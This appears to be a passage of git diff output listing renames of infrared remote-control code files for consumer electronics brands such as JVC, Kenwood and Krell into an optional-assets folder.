ir_optional_assets}/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir (100%) rename assets/{resources/infrared => 